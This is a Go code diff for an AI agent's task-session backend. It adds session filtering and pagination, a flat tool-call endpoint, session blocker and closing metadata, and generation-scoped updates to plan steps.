Cursor: q.Get("cursor"),
|
||||
Limit: limit,
|
||||
})
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
// Next-page cursor: the oldest last_active_at in this page. The next
|
||||
// request passes it as ?cursor=... to get the page before it. Empty
|
||||
// when the list is exhausted.
|
||||
var nextCursor string
|
||||
if len(sessions) > 0 {
|
||||
oldest := sessions[len(sessions)-1].LastActiveAt
|
||||
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
|
||||
if len(sessions) < limit {
|
||||
nextCursor = "" // last page
|
||||
}
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"sessions": sessions,
|
||||
"next_cursor": nextCursor,
|
||||
"limit": limit,
|
||||
})
|
||||
}
|
||||
|
||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
||||
@@ -417,10 +508,16 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
||||
// the context panel when it first opens a task; live events carry deltas
|
||||
// from there.
|
||||
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
|
||||
// session, without the two-level message-shell nesting. The audit at
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
|
||||
// Python to walk messages[].content.tool_calls[]; this endpoint makes
|
||||
// it a single `curl | jq`.
|
||||
if len(parts) == 2 && r.Method == http.MethodGet {
|
||||
switch parts[1] {
|
||||
case "plan":
|
||||
steps, err := st.getPlanSteps(r.Context(), id)
|
||||
all := r.URL.Query().Has("all") && r.URL.Query().Get("all") != "0" && r.URL.Query().Get("all") != "false"
|
||||
steps, err := st.getPlanSteps(r.Context(), id, all)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
@@ -437,6 +534,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
||||
return
|
||||
case "tool_calls":
|
||||
calls, err := st.getSessionToolCalls(r.Context(), id)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), 500)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
@@ -449,14 +555,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
w.WriteHeader(204)
|
||||
|
||||
case http.MethodGet:
|
||||
// getMessages alone can't distinguish "session exists but has no
|
||||
// messages yet" from "session id doesn't exist at all" — it's a
|
||||
// plain WHERE session_id=$1 query that returns zero rows either
|
||||
// way. A frontend window opened for a deleted/invalid session
|
||||
// (persisted layout, a stale link) needs to tell those apart, so
|
||||
// check existence explicitly and 404 rather than silently
|
||||
// returning an empty transcript that looks like a fresh task.
|
||||
if _, err := st.getSession(r.Context(), id); err != nil {
|
||||
// P2.7 (2026-07-20): return BOTH session metadata and messages
|
||||
// from GET /sessions/{id}. Previously this endpoint returned only
|
||||
// {session_id, messages} — the operator had to merge with the
|
||||
// /sessions list view to get title/goal/outcome. The eval harness
|
||||
// at cmd/nomos/eval/main.go:302-303 already carries a comment
|
||||
// about this leaky abstraction. The session field carries the
|
||||
// full metadata: title, goal, outcome, summary, blocker,
|
||||
// pending_approvals, message_count, tool_call_count, etc. The
|
||||
// messages field is unchanged. Clients that only read
|
||||
// `messages` keep working.
|
||||
sess, err := st.getSession(r.Context(), id)
|
||||
if err != nil {
|
||||
if err == pgx.ErrNoRows {
|
||||
http.Error(w, "session not found", 404)
|
||||
return
|
||||
@@ -470,7 +580,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
||||
json.NewEncoder(w).Encode(map[string]any{
|
||||
"session_id": id,
|
||||
"session": sess,
|
||||
"messages": messages,
|
||||
})
|
||||
|
||||
default:
|
||||
http.Error(w, "method not allowed", 405)
|
||||
|
||||
@@ -13,6 +13,7 @@ import (
|
||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||
"github.com/dtoro/oikos/internal/observability"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
"github.com/jackc/pgx/v5/pgxpool"
|
||||
)
|
||||
|
||||
@@ -25,6 +26,13 @@ const maxToolResultSize = 4096
|
||||
// The caller translates this into a directive tool result.
|
||||
var errPlanInFlight = errors.New("plan already in flight")
|
||||
|
||||
// errPlanStepNotFound is returned by updatePlanStep when no step matches the
|
||||
// given seq in the CURRENT (MAX) generation — either the seq is out of range,
|
||||
// or (after a re-plan) the model addressed a stale 1-based number. seq is
|
||||
// generation-relative, so this never resurrects a superseded generation's row.
|
||||
// The caller translates it into a directive tool result (P0.1).
|
||||
var errPlanStepNotFound = errors.New("plan step not found in current generation")
|
||||
|
||||
type store struct {
|
||||
pool *pgxpool.Pool
|
||||
}
|
||||
@@ -86,18 +94,39 @@ func (s *store) close() {
|
||||
// session is a chat session elevated to a task: goal-structured work with a
|
||||
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
||||
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
||||
//
|
||||
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
|
||||
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
|
||||
// LastActiveAt — the latter is touched on any access (including a UI
|
||||
// transcript view), the former is set ONCE at completion. Without it,
|
||||
// "duration" computed as last_active - created lies for reopened sessions
|
||||
// (a51e2086 reported 4-day duration because the operator reopened it).
|
||||
// Blocker is a short structured reason: approval_timeout,
|
||||
// classifier_overreach, user_abandoned, tool_error, etc. See
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||
type session struct {
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Actor string `json:"actor"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"`
|
||||
Outcome string `json:"outcome,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
EntityID string `json:"entity_id,omitempty"`
|
||||
PendingApprovals int `json:"pending_approvals"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
LastActiveAt time.Time `json:"last_active_at"`
|
||||
ID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Actor string `json:"actor"`
|
||||
Goal string `json:"goal"`
|
||||
Status string `json:"status"`
|
||||
Outcome string `json:"outcome,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
EntityID string `json:"entity_id,omitempty"`
|
||||
PendingApprovals int `json:"pending_approvals"`
|
||||
Blocker string `json:"blocker,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
LastActiveAt time.Time `json:"last_active_at"`
|
||||
ClosedAt *time.Time `json:"closed_at,omitempty"`
|
||||
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
|
||||
// "how big was this task?" without N+1 transcript fetches. The audit
|
||||
// had to pull every session's full message tree to count tool calls —
|
||||
// ~600 KB of JSON for 10 sessions. With these, the list view is a
|
||||
// single round trip. omitempty so getSession for a brand-new session
|
||||
// with zero activity doesn't emit zeros.
|
||||
MessageCount int `json:"message_count,omitempty"`
|
||||
ToolCallCount int `json:"tool_call_count,omitempty"`
|
||||
DurationSeconds int `json:"duration_seconds,omitempty"`
|
||||
}
|
||||
|
||||
type message struct {
|
||||
@@ -315,14 +344,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
|
||||
}
|
||||
|
||||
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
|
||||
}
|
||||
|
||||
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
|
||||
// (filtering & pagination). All fields optional; empty values are no-ops.
|
||||
// The handler in main.go parses query params into this struct so the SQL
|
||||
// builder here is the single source of truth for what filters exist.
|
||||
type listFilter struct {
|
||||
Outcome string // exact match on outcome (success/partial/failure)
|
||||
Status string // exact match on status (active/done/failed/executing)
|
||||
EntityID string // exact match on entity_id (UUID)
|
||||
Blocker string // exact match on blocker reason
|
||||
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
|
||||
Cursor string // last_active_at < cursor (RFC3339) — page back in time
|
||||
Limit int // default 50, clamped by the handler
|
||||
}
|
||||
|
||||
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.pool.Query(ctx,
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
s.created_at, s.last_active_at
|
||||
if f.Limit <= 0 {
|
||||
f.Limit = 50
|
||||
}
|
||||
// Build the WHERE clause dynamically. We use a single args slice with
|
||||
// $N placeholders to keep pgx happy; the index increments per clause.
|
||||
var (
|
||||
where []string
|
||||
args []any
|
||||
n = 1
|
||||
)
|
||||
if f.Outcome != "" {
|
||||
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
|
||||
args = append(args, f.Outcome)
|
||||
n++
|
||||
}
|
||||
if f.Status != "" {
|
||||
where = append(where, fmt.Sprintf("s.status = $%d", n))
|
||||
args = append(args, f.Status)
|
||||
n++
|
||||
}
|
||||
if f.EntityID != "" {
|
||||
// Accept UUID or string; cast gracefully if invalid.
|
||||
if _, err := uuid.Parse(f.EntityID); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
|
||||
args = append(args, f.EntityID)
|
||||
n++
|
||||
}
|
||||
}
|
||||
if f.Blocker != "" {
|
||||
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
|
||||
args = append(args, f.Blocker)
|
||||
n++
|
||||
}
|
||||
if f.Since != "" {
|
||||
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
|
||||
// Try timestamp first, fall back to duration relative to now.
|
||||
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
|
||||
args = append(args, t)
|
||||
n++
|
||||
} else if d, err := time.ParseDuration(f.Since); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
|
||||
args = append(args, d.Seconds())
|
||||
n++
|
||||
}
|
||||
// Unknown format: silently drop the filter — better than erroring
|
||||
// out and breaking the whole list. Caller can validate if needed.
|
||||
}
|
||||
if f.Cursor != "" {
|
||||
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
|
||||
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
|
||||
args = append(args, t)
|
||||
n++
|
||||
}
|
||||
}
|
||||
whereClause := ""
|
||||
if len(where) > 0 {
|
||||
whereClause = "WHERE " + strings.Join(where, " AND ")
|
||||
}
|
||||
args = append(args, f.Limit)
|
||||
limitArg := fmt.Sprintf("$%d", n)
|
||||
|
||||
query := fmt.Sprintf(`
|
||||
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT l.session_id, COUNT(*) AS cnt
|
||||
@@ -331,7 +444,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
WHERE e.status = 'pending_approval'
|
||||
GROUP BY l.session_id
|
||||
) pa ON pa.session_id = s.id
|
||||
ORDER BY s.last_active_at DESC LIMIT 50`)
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
%s
|
||||
ORDER BY s.last_active_at DESC
|
||||
LIMIT %s`, whereClause, limitArg)
|
||||
|
||||
rows, err := s.pool.Query(ctx, query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -342,7 +470,8 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||
var sess session
|
||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.CreatedAt, &sess.LastActiveAt); err != nil {
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, sess)
|
||||
@@ -356,18 +485,102 @@ func (s *store) getSession(ctx context.Context, id string) (*session, error) {
|
||||
}
|
||||
var sess session
|
||||
err := s.pool.QueryRow(ctx,
|
||||
`SELECT id, title, actor, goal, status, COALESCE(outcome, ''), summary,
|
||||
COALESCE(entity_id::text, ''), 0, created_at, last_active_at
|
||||
FROM agent_sessions WHERE id = $1`, id).
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''), 0, COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
WHERE session_id = $1::uuid
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
AND session_id::uuid = $1::uuid
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
WHERE s.id = $1`, id).
|
||||
Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.CreatedAt, &sess.LastActiveAt)
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &sess, nil
|
||||
}
|
||||
|
||||
// recentPartialSessions returns recent sessions (within `since`) whose outcome
|
||||
// is partial or failed, excluding the current session. Used by the set_goal
|
||||
// handler to surface prior unfinished work on the same problem — three
|
||||
// duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) all bounced off
|
||||
// the classifier because each new session started from scratch. Surfacing the
|
||||
// prior session's goal + summary at set_goal time lets the agent pick up the
|
||||
// thread instead of rediscovering it. See
|
||||
// plans/2026-07-20-session-review-ten-sessions.md P1.3.
|
||||
func (s *store) recentPartialSessions(ctx context.Context, excludeSessionID string, since time.Duration) ([]session, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
rows, err := s.pool.Query(ctx,
|
||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||
COALESCE(s.entity_id::text, ''),
|
||||
COALESCE(pa.cnt, 0),
|
||||
COALESCE(s.blocker, ''),
|
||||
s.created_at, s.last_active_at, s.closed_at,
|
||||
COALESCE(msg.cnt, 0),
|
||||
COALESCE(act.cnt, 0),
|
||||
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||
FROM agent_sessions s
|
||||
LEFT JOIN (
|
||||
SELECT l.session_id, COUNT(*) AS cnt
|
||||
FROM nomos_plan_executions l
|
||||
JOIN executions e ON e.entity_id = l.execution_id
|
||||
WHERE e.status = 'pending_approval'
|
||||
GROUP BY l.session_id
|
||||
) pa ON pa.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id, COUNT(*) AS cnt
|
||||
FROM agent_messages
|
||||
GROUP BY session_id
|
||||
) msg ON msg.session_id = s.id
|
||||
LEFT JOIN (
|
||||
SELECT session_id::uuid AS sid, COUNT(*) AS cnt
|
||||
FROM agent_activity
|
||||
WHERE session_id IS NOT NULL AND session_id <> ''
|
||||
GROUP BY session_id
|
||||
) act ON act.sid = s.id
|
||||
WHERE s.id <> $1
|
||||
AND s.last_active_at >= now() - ($2 * interval '1 second')
|
||||
AND COALESCE(s.outcome, '') IN ('partial', 'failed')
|
||||
ORDER BY s.last_active_at DESC
|
||||
LIMIT 10`,
|
||||
excludeSessionID, since.Seconds())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var out []session
|
||||
for rows.Next() {
|
||||
var sess session
|
||||
if err := rows.Scan(&sess.ID, &sess.Title, &sess.Actor, &sess.Goal, &sess.Status,
|
||||
&sess.Outcome, &sess.Summary, &sess.EntityID, &sess.PendingApprovals,
|
||||
&sess.Blocker, &sess.CreatedAt, &sess.LastActiveAt, &sess.ClosedAt,
|
||||
&sess.MessageCount, &sess.ToolCallCount, &sess.DurationSeconds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, sess)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// getMessages returns a session's ENTIRE message history, unbounded — used
|
||||
// for the UI's own transcript view (GET /sessions/{id}), where the operator
|
||||
// should be able to see everything a task has done regardless of how long
|
||||
@@ -397,6 +610,77 @@ func (s *store) getMessages(ctx context.Context, sessionID string) ([]message, e
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
// SessionToolCall is the flat view of one tool call as exposed by
|
||||
// GET /sessions/{id}/tool_calls. Mirrors the persisted tool_call shape but
|
||||
// drops the message-shell wrapping. Args/Result are kept as RawMessage so
|
||||
// the caller can decide how to render them (the audit case wanted raw
|
||||
// text sizes, but other callers may want full JSON).
|
||||
type SessionToolCall struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Args json.RawMessage `json:"args,omitempty"`
|
||||
Result json.RawMessage `json:"result,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Type string `json:"type,omitempty"` // "tool_use" or "tool_result"
|
||||
MessageID string `json:"message_id"`
|
||||
Role string `json:"role"`
|
||||
Seq int `json:"seq"` // 1-indexed position within the session (across all messages)
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
// getSessionToolCalls walks a session's messages and returns a flat list of
|
||||
// tool calls in chronological order, without the two-level message nesting.
|
||||
// The audit at plans/2026-07-20-session-review-ten-sessions.md P2.10 had to
|
||||
// write Python to walk messages[].content.tool_calls[]; this method makes
|
||||
// it a single SQL + Go walk on the server. Each tool_use/tool_result pair
|
||||
// is emitted as two rows (same id, different Type), preserving the
|
||||
// persisted shape — clients that want the merged shape can group by ID.
|
||||
func (s *store) getSessionToolCalls(ctx context.Context, sessionID string) ([]SessionToolCall, error) {
|
||||
if s == nil {
|
||||
return nil, nil
|
||||
}
|
||||
msgs, err := s.getMessages(ctx, sessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []SessionToolCall
|
||||
seq := 0
|
||||
for _, m := range msgs {
|
||||
var payload struct {
|
||||
ToolCalls []struct {
|
||||
ID string `json:"id"`
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Args json.RawMessage `json:"args"`
|
||||
Result json.RawMessage `json:"result"`
|
||||
Error string `json:"error"`
|
||||
} `json:"tool_calls"`
|
||||
}
|
||||
if err := json.Unmarshal(m.Content, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
for _, tc := range payload.ToolCalls {
|
||||
if tc.ID == "" {
|
||||
continue
|
||||
}
|
||||
seq++
|
||||
out = append(out, SessionToolCall{
|
||||
ID: tc.ID,
|
||||
Name: tc.Name,
|
||||
Args: tc.Args,
|
||||
Result: tc.Result,
|
||||
Error: tc.Error,
|
||||
Type: tc.Type,
|
||||
MessageID: m.ID,
|
||||
Role: m.Role,
|
||||
Seq: seq,
|
||||
CreatedAt: m.CreatedAt,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// getRecentMessages returns the most recent `limit` messages for sessionID,
|
||||
// in chronological order, plus whether older messages exist beyond that
|
||||
// window. Used specifically for LLM replay (chatWith): without a bound,
|
||||
@@ -528,7 +812,7 @@ func (s *store) setGoal(ctx context.Context, sessionID, goal string) error {
|
||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status <> 'replaced'`,
|
||||
sessionID)
|
||||
if _, err := s.pool.Exec(ctx,
|
||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', last_active_at = now() WHERE id = $1`,
|
||||
`UPDATE agent_sessions SET goal = $2, status = 'executing', title = $2, last_active_at = now() WHERE id = $1`,
|
||||
sessionID, goal); err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -603,16 +887,15 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
var startSeq int
|
||||
var anyStarted bool
|
||||
// `replaced` steps (from a prior plan generation superseded by a
|
||||
// follow-up sub-task — see reopenSession) are excluded: they prove a
|
||||
// prior plan was completed and superseded, not that a plan is in flight.
|
||||
// Without this exclusion, reopenSession's `replaced` marking would be
|
||||
// follow-up sub-task — see setGoal/reopenSession) are excluded: they
|
||||
// prove a prior plan was completed and superseded, not that a plan is in
|
||||
// flight. Without this exclusion, setGoal's `replaced` marking would be
|
||||
// useless — propose_plan would still refuse on the follow-up.
|
||||
if err := tx.QueryRow(ctx, `
|
||||
SELECT COALESCE(max(seq), 0), COALESCE(bool_or(status NOT IN ('pending', 'replaced')), false)
|
||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&startSeq, &anyStarted); err != nil {
|
||||
SELECT COALESCE(bool_or(status NOT IN ('pending', 'replaced')), false)
|
||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&anyStarted); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if anyStarted {
|
||||
@@ -622,35 +905,27 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
return nil, errPlanInFlight
|
||||
}
|
||||
// Fresh/revise: mark any prior PENDING steps as `replaced` (not DELETE).
|
||||
// This preserves the rows for the generation counter (MAX(generation)+1
|
||||
// below) and the plan_generations eval assertion. Without this, a first
|
||||
// plan that was proposed but never executed (all pending) would be
|
||||
// wiped, resetting the counter to 1 — making a follow-up's plan look
|
||||
// like generation 1 instead of 2. `replaced` steps are excluded from
|
||||
// the anyStarted check above, so they don't block the fresh proposal.
|
||||
// The rows are kept for the generation counter (MAX(generation)+1 below)
|
||||
// and the plan_generations eval assertion. `replaced` steps are excluded
|
||||
// from the anyStarted check above, so they don't block this proposal.
|
||||
if _, err := tx.Exec(ctx,
|
||||
`UPDATE session_plan_steps SET status = 'replaced', finished_at = COALESCE(finished_at, now()) WHERE session_id = $1 AND status = 'pending'`,
|
||||
sessionID); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// startSeq keeps the max(seq) from the query above: if prior steps
|
||||
// exist (replaced or done), the new generation's steps start after them
|
||||
// (no seq collisions across generations). If no rows exist (first plan),
|
||||
// startSeq is 0 and the first step is seq 1.
|
||||
|
||||
// Resolve the generation number for this plan. Generation 1 is the
|
||||
// initial plan; a genuine revise (which currently goes through the same
|
||||
// fresh-start path above because all steps were pending) resets to 1
|
||||
// since the DELETE wiped the prior rows. The column is wired here so a
|
||||
// future explicit mid-flight revise path can increment it.
|
||||
// nextGen: generation 1 for the first plan, MAX(generation)+1 for every
|
||||
// revise/follow-up (prior rows were marked `replaced` above, not deleted,
|
||||
// so the counter survives). seq is generation-relative — it resets to
|
||||
// 1..N for this generation, so (session_id, generation, seq) is the
|
||||
// addressing key and the model's 1-based update_plan_step always maps to
|
||||
// the CURRENT plan after a re-plan (P0.1).
|
||||
var nextGen int
|
||||
if err := tx.QueryRow(ctx, `
|
||||
SELECT COALESCE(MAX(generation), 0) + 1
|
||||
FROM session_plan_steps WHERE session_id = $1`, sessionID).Scan(&nextGen); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// After the DELETE above, no rows remain, so MAX(generation) is NULL →
|
||||
// nextGen = 1. (Keep the query for the future revise path; it's cheap.)
|
||||
|
||||
out := make([]map[string]any, 0, len(steps))
|
||||
for i, st := range steps {
|
||||
@@ -658,7 +933,7 @@ func (s *store) proposePlan(ctx context.Context, sessionID string, steps []planS
|
||||
if st.TargetSlug != "" {
|
||||
targetSlug = &st.TargetSlug
|
||||
}
|
||||
seq := startSeq + i + 1
|
||||
seq := i + 1
|
||||
var id uuid.UUID
|
||||
if err := tx.QueryRow(ctx, `
|
||||
INSERT INTO session_plan_steps (session_id, seq, title, detail, target_slug, generation)
|
||||
@@ -701,6 +976,23 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
||||
if s == nil || sessionID == "" || sessionID == "ephemeral" {
|
||||
return nil
|
||||
}
|
||||
// Resolve the CURRENT generation: seq is generation-relative (1-based
|
||||
// within the plan the model is working), so (session_id, MAX(generation),
|
||||
// seq) is the addressing key. A re-plan's superseded generations have
|
||||
// their own seq space and must never be touched by a follow-up's
|
||||
// update_plan_step — that was the root cause of "the plan was off"
|
||||
// (gen-1 `replaced` rows resurrected as `done` while gen-2 work went
|
||||
// unrecorded). The MAX(generation) step is by construction the active
|
||||
// plan, never `replaced`, so this can't resurrect a superseded row (P0.1).
|
||||
var curGen int
|
||||
if err := s.pool.QueryRow(ctx,
|
||||
`SELECT COALESCE(MAX(generation), 0) FROM session_plan_steps WHERE session_id = $1`,
|
||||
sessionID).Scan(&curGen); err != nil {
|
||||
return err
|
||||
}
|
||||
if curGen == 0 {
|
||||
return errPlanStepNotFound
|
||||
}
|
||||
stamp := ""
|
||||
switch status {
|
||||
case "running":
|
||||
@@ -708,16 +1000,18 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
||||
case "done", "failed", "skipped", "blocked", "replaced":
|
||||
stamp = ", finished_at = now()"
|
||||
}
|
||||
// Completion ordering: for terminal states, check that no earlier step
|
||||
// is still pending. Running steps can start out of order (the agent
|
||||
// may dispatch parallel work), but completion must be sequential.
|
||||
// Completion ordering, scoped to the CURRENT generation: for terminal
|
||||
// states, no earlier step in THIS plan may still be pending. Running
|
||||
// steps can start out of order (the agent may dispatch parallel work),
|
||||
// but completion must be sequential. Earlier generations are superseded
|
||||
// and irrelevant.
|
||||
if status == "done" || status == "failed" || status == "skipped" || status == "blocked" {
|
||||
var blockedBy int
|
||||
if err := s.pool.QueryRow(ctx, `
|
||||
SELECT COALESCE(MIN(seq), 0)
|
||||
FROM session_plan_steps
|
||||
WHERE session_id = $1 AND seq < $2 AND status = 'pending'`,
|
||||
sessionID, seq).Scan(&blockedBy); err == nil && blockedBy > 0 {
|
||||
WHERE session_id = $1 AND generation = $2 AND seq < $3 AND status = 'pending'`,
|
||||
sessionID, curGen, seq).Scan(&blockedBy); err == nil && blockedBy > 0 {
|
||||
return fmt.Errorf("cannot complete step %d — step %d is still pending", seq, blockedBy)
|
||||
}
|
||||
}
|
||||
@@ -728,11 +1022,18 @@ func (s *store) updatePlanStep(ctx context.Context, sessionID string, seq int, s
|
||||
var stepID uuid.UUID
|
||||
var targetSlug *string
|
||||
// stamp is a fixed literal from the switch above — never user input.
|
||||
if err := s.pool.QueryRow(ctx, `
|
||||
// status <> 'replaced' is defense-in-depth: MAX(generation) can't hold a
|
||||
// replaced row, but if it ever could, this refuses the write instead of
|
||||
// resurrecting it. No matching row → errPlanStepNotFound (stale/out-of-range seq).
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
UPDATE session_plan_steps
|
||||
SET status = $3, execution_id = COALESCE($4, execution_id)`+stamp+`
|
||||
WHERE session_id = $1 AND seq = $2
|
||||
RETURNING id, target_slug`, sessionID, seq, status, execPtr).Scan(&stepID, &targetSlug); err != nil {
|
||||
SET status = $4, execution_id = COALESCE($5, execution_id)`+stamp+`
|
||||
WHERE session_id = $1 AND generation = $2 AND seq = $3 AND status <> 'replaced'
|
||||
RETURNING id, target_slug`, sessionID, curGen, seq, status, execPtr).Scan(&stepID, &targetSlug)
|
||||
if err != nil {
|
||||
if errors.Is(err, pgx.ErrNoRows) {
